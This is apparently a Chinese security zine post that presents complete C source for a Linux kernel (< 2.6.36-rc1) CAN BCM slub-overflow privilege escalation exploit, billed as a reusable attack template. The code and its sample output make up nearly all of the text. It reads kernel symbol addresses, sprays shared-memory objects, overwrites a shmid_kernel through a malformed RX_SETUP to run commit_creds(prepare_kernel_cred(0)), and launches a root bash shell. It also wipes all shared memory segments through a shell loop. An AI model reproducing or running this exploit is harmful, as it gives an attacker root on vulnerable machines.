|
通用的linux kernel slub overflow攻击代码模板, 关于slub overflow的溢出研究请见下期webzine:)
/* * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit * * by wzt <wzt.wzt@gmail.com> * * based on exploit by Jon Oberheide, the original code use RX_SETUP opcode * to locate the smashed shmid_kernel, i modified it to general slub overflow * templates. * * tested on centos5.4 + 2.6.32 with selinux disabled. * * [wzt@localhost can]$ ./exp * [+] looking for symbols... * [+] found commit_creds addr at 0xc0446524. * [+] found prepare_kernel_cred addr at 0xc0446710. * [+] setting up exploit payload... * [+] checking slab total: 1008 active: 915 free: 93 * [+] smashing free slab ... * [+] smashing 46 total: 1008 active: 1008 free: 0 * [+] smashing adjacent slab ... * [+] smashing 146 total: 1092 active: 1092 free: 0 * [+] free exist shmid with idx: 142 * [+] creating PF_CAN socket... * [+] connecting PF_CAN socket... * [+] clearing out any active OPs via RX_DELETE... * [+] first trigger 96 bytes in kmalloc-96. * [+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec... * [+] mmap'ed mapping of length 328 at 0xb7761000 * [+] smashing adjacent shmid with dummy payload via malformed RX_SETUP... * [+] launching root shell! * [root@localhost can]# id * uid=0(root) gid=0(root) * [root@localhost can]# uname -a * Linux localhost.localdomain 2.6.32 #3 SMP Sat Dec 25 12:23:19 CST 2010 i686 i686 i386 GNU/Linux * [root@localhost can]# * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/socket.h> #include <errno.h>
#define KALLSYMS_NAME "/proc/kallsyms" #define SLAB_NAME "kmalloc-96" #define SLAB_SIZE 96 #define SLAB_NUM 100
struct sockaddr_can { sa_family_t can_family; int can_ifindex; union { struct { uint32_t rx_id, tx_id; } tp; } can_addr; };
struct can_frame { uint32_t can_id; uint8_t can_dlc; uint8_t data[8] __attribute__((aligned(8))); };
struct bcm_msg_head { uint32_t opcode; uint32_t flags; uint32_t count; struct timeval ival1, ival2; uint32_t can_id; uint32_t nframes; struct can_frame frames[0]; };
#ifndef PF_CAN #define PF_CAN 29 #endif
#ifndef CAN_BCM #define CAN_BCM 2 #endif
#define RX_SETUP 5 #define RX_DELETE 6 #define CFSIZ sizeof(struct can_frame) #define MHSIZ sizeof(struct bcm_msg_head) #define IPCMNI 32768 #define EIDRM 43 #define HDRLEN_KMALLOC 8
struct list_head { struct list_head *next; struct list_head *prev; };
struct super_block { struct list_head s_list; unsigned int s_dev; unsigned long s_blocksize; unsigned char s_blocksize_bits; unsigned char s_dirt; uint64_t s_maxbytes; void *s_type; void *s_op; void *dq_op; void *s_qcop; void *s_export_op; unsigned long s_flags; }super_block;
struct mutex { unsigned int count; unsigned int wait_lock; struct list_head wait_list; void *owner; };
struct inode { struct list_head i_hash; struct list_head i_list; struct list_head i_sb_list; struct list_head i_dentry_list; unsigned long i_ino; unsigned int i_count; unsigned int i_nlink; unsigned int i_uid; unsigned int i_gid; unsigned int i_rdev; uint64_t i_version; uint64_t i_size; unsigned int i_size_seqcount; long i_atime_tv_sec; long i_atime_tv_nsec; long i_mtime_tv_sec; long i_mtime_tv_nsec; long i_ctime_tv_sec; long i_ctime_tv_nsec; uint64_t i_blocks; unsigned int i_blkbits; unsigned short i_bytes; unsigned short i_mode; unsigned int i_lock; struct mutex i_mutex; unsigned int i_alloc_sem_activity; unsigned int i_alloc_sem_wait_lock; struct list_head i_alloc_sem_wait_list; void *i_op; void *i_fop; struct super_block *i_sb; void *i_flock; void *i_mapping; char i_data[84]; void *i_dquot_1; void *i_dquot_2; struct list_head i_devices; void *i_pipe_union; unsigned int i_generation; unsigned int i_fsnotify_mask; void *i_fsnotify_mark_entries; struct list_head inotify_watches; struct mutex inotify_mutex; }inode;
struct dentry { unsigned int d_count; unsigned int d_flags; unsigned int d_lock; int d_mounted; void *d_inode; struct list_head d_hash; void *d_parent; }dentry;
struct file_operations { void *owner; void *llseek; void *read; void *write; void *aio_read; void *aio_write; void *readdir; void *poll; void *ioctl; void *unlocked_ioctl; void *compat_ioctl; void *mmap; void *open; void *flush; void *release; void *fsync; void *aio_fsync; void *fasync; void *lock; void *sendpage; void *get_unmapped_area; void *check_flags; void *flock; void *splice_write; void *splice_read; void *setlease; }op;
struct vfsmount { struct list_head mnt_hash; void *mnt_parent; void *mnt_mountpoint; void *mnt_root; void *mnt_sb; struct list_head mnt_mounts; struct list_head mnt_child; int mnt_flags; const char *mnt_devname; struct list_head mnt_list; struct list_head mnt_expire; struct list_head mnt_share; struct list_head mnt_slave_list; struct list_head mnt_slave; struct vfsmount *mnt_master; struct mnt_namespace *mnt_ns; int mnt_id; int mnt_group_id; int mnt_count; }vfsmount;
struct file { struct list_head fu_list; struct vfsmount *f_vfsmnt; struct dentry *f_dentry; void *f_op; unsigned int f_lock; unsigned long f_count; }file;
struct kern_ipc_perm { unsigned int lock; int deleted; int id; unsigned int key; unsigned int uid; unsigned int gid; unsigned int cuid; unsigned int cgid; unsigned int mode; unsigned int seq; void *security; }; struct shmid_kernel { struct kern_ipc_perm shm_perm; struct file *shm_file; unsigned long shm_nattch; unsigned long shm_segsz; time_t shm_atim; time_t shm_dtim; time_t shm_ctim; unsigned int shm_cprid; unsigned int shm_lprid; void *mlock_user; }shmid_kernel;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3))) kernel_code(struct file *file, void *vma) { commit_creds(prepare_kernel_cred(0)); return -1; }
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) { FILE *s_fp; char buff[200]; char *p = NULL, *p1 = NULL; unsigned long addr = 0;
s_fp = fopen(file_name, "r"); if (s_fp == NULL) { printf("open %s failed.\n", file_name); return 0; }
while (fgets(buff, 200, s_fp) != NULL) { if (strstr(buff, symbol_name) != NULL) { buff[strlen(buff) - 1] = '\0'; p = strchr(strchr(buff, ' ') + 1, ' '); ++p;
if (!p) { return 0; } if (!strcmp(p, symbol_name)) { p1 = strchr(buff, ' '); *p1 = '\0'; sscanf(buff, "%lx", &addr); //addr = strtoul(buff, NULL, 16); printf("[+] found %s addr at 0x%x.\n", symbol_name, addr); break; } } }
fclose(s_fp); return addr; }
int check_slab(char *slab_name, int *active, int *total) { FILE *fp; char buff[1024], name[64]; int active_num, total_num; fp = fopen("/proc/slabinfo", "r"); if (!fp) { perror("fopen"); return -1; }
while (fgets(buff, 1024, fp) != NULL) { sscanf(buff, "%s %u %u", name, &active_num, &total_num); if (!strcmp(slab_name, name)) { *active = active_num; *total = total_num; return total_num - active_num; } }
return -1; }
void clear_old_shm(void) { char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; " "do ipcrm -m $shmid > /dev/null 2>&1; done;";
system(cmd); }
void setup(void) { printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds) find_symbol_by_proc(KALLSYMS_NAME, "commit_creds"); if (!commit_creds) { printf("[-] not found commit_creds addr.\n"); return ; }
prepare_kernel_cred = (_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, "prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] not found prepare_kernel_cred addr.\n"); return ; }
printf("[+] setting up exploit payload...\n");
super_block.s_flags = 0;
inode.i_size = 4096; inode.i_sb = &super_block; inode.inotify_watches.next = &inode.inotify_watches; inode.inotify_watches.prev = &inode.inotify_watches; inode.inotify_mutex.count = 1;
dentry.d_count = 4096; dentry.d_flags = 4096; dentry.d_parent = NULL; dentry.d_inode = &inode;
op.mmap = &kernel_code; op.get_unmapped_area = &kernel_code;
vfsmount.mnt_flags = 0; vfsmount.mnt_count = 1;
file.fu_list.prev = &file.fu_list; file.fu_list.next = &file.fu_list; file.f_dentry = &dentry; file.f_vfsmnt = &vfsmount; file.f_op = &op;
shmid_kernel.shm_perm.key = IPC_PRIVATE; shmid_kernel.shm_perm.uid = 501; shmid_kernel.shm_perm.gid = 501; shmid_kernel.shm_perm.cuid = getuid(); shmid_kernel.shm_perm.cgid = getgid(); shmid_kernel.shm_perm.mode = -1; shmid_kernel.shm_file = &file; }
int trigger(void) { int *shmids; int total_num, active_num, free_num; int i, ret, sock, base, free_idx; int len, sock_len, mmap_len; struct sockaddr_can addr; struct bcm_msg_head *msg; void *efault; char *buf;
clear_old_shm();
free_num = check_slab(SLAB_NAME, &active_num, &total_num); fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n", total_num, active_num, total_num - active_num);
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
fprintf(stdout, "[+] smashing free slab ...\n"); for (i = 0; i < free_num + SLAB_NUM; i++) { if (!check_slab(SLAB_NAME, &active_num, &total_num)) break;
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); if (shmids[i] < 0) { perror("shmget"); return -1; } } base = i; fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n", i, total_num, active_num, total_num - active_num);
fprintf(stdout, "[+] smashing adjacent slab ...\n"); i = base; for (; i < base + SLAB_NUM; i++) { shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT); if (shmids[i] < 0) { perror("shmget"); return -1; } } check_slab(SLAB_NAME, &active_num, &total_num); fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n", i, total_num, active_num, total_num - active_num);
free_idx = i - 4; fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx); if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) { perror("shmctl"); }
sleep(1);
printf("[+] creating PF_CAN socket...\n");
sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM); if (sock < 0) { printf("[-] kernel lacks CAN packet family support\n"); exit(1); }
printf("[+] connecting PF_CAN socket...\n");
memset(&addr, 0, sizeof(addr)); addr.can_family = PF_CAN;
ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr)); if (sock < 0) { printf("[-] could not connect CAN socket\n"); exit(1); }
len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16)); msg = malloc(len); memset(msg, 0, len); msg->can_id = 2959; msg->nframes = (UINT_MAX / CFSIZ) + (SLAB_SIZE / 16) + 1;
printf("[+] clearing out any active OPs via RX_DELETE...\n"); msg->opcode = RX_DELETE; ret = send(sock, msg, len, 0);
printf("[+] first trigger 96 bytes in %s.\n", SLAB_NAME); msg->opcode = RX_SETUP; ret = send(sock, msg, len, 0); if (ret < 0) { printf("[-] kernel rejected malformed CAN header\n"); exit(1); }
printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");
mmap_len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16) * 3); sock_len = MHSIZ + (CFSIZ * (SLAB_SIZE / 16) * 4); efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);
printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");
msg = (struct bcm_msg_head *)efault; memset(msg, 0, mmap_len); msg->can_id = 2959; msg->nframes = (SLAB_SIZE / 16) * 4;
buf = (char *)msg; shmid_kernel.shm_perm.seq = shmids[free_idx + 2] / IPCMNI; memcpy(&buf[MHSIZ + (SLAB_SIZE * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
msg->opcode = RX_SETUP; ret = send(sock, msg, mmap_len, 0); if (ret != -1 && errno != EFAULT) { printf("[-] couldn't trigger EFAULT, exploit aborting!\n"); exit(1); }
ret = (int)shmat(shmids[free_idx + 2], NULL, SHM_RDONLY); if (ret == -1 && errno != EIDRM) { setresuid(0, 0, 0); setresgid(0, 0, 0);
printf("[+] launching root shell!\n");
execl("/bin/bash", "/bin/bash", NULL); exit(0); }
return 0; }
int main(void) { setup(); trigger(); }
|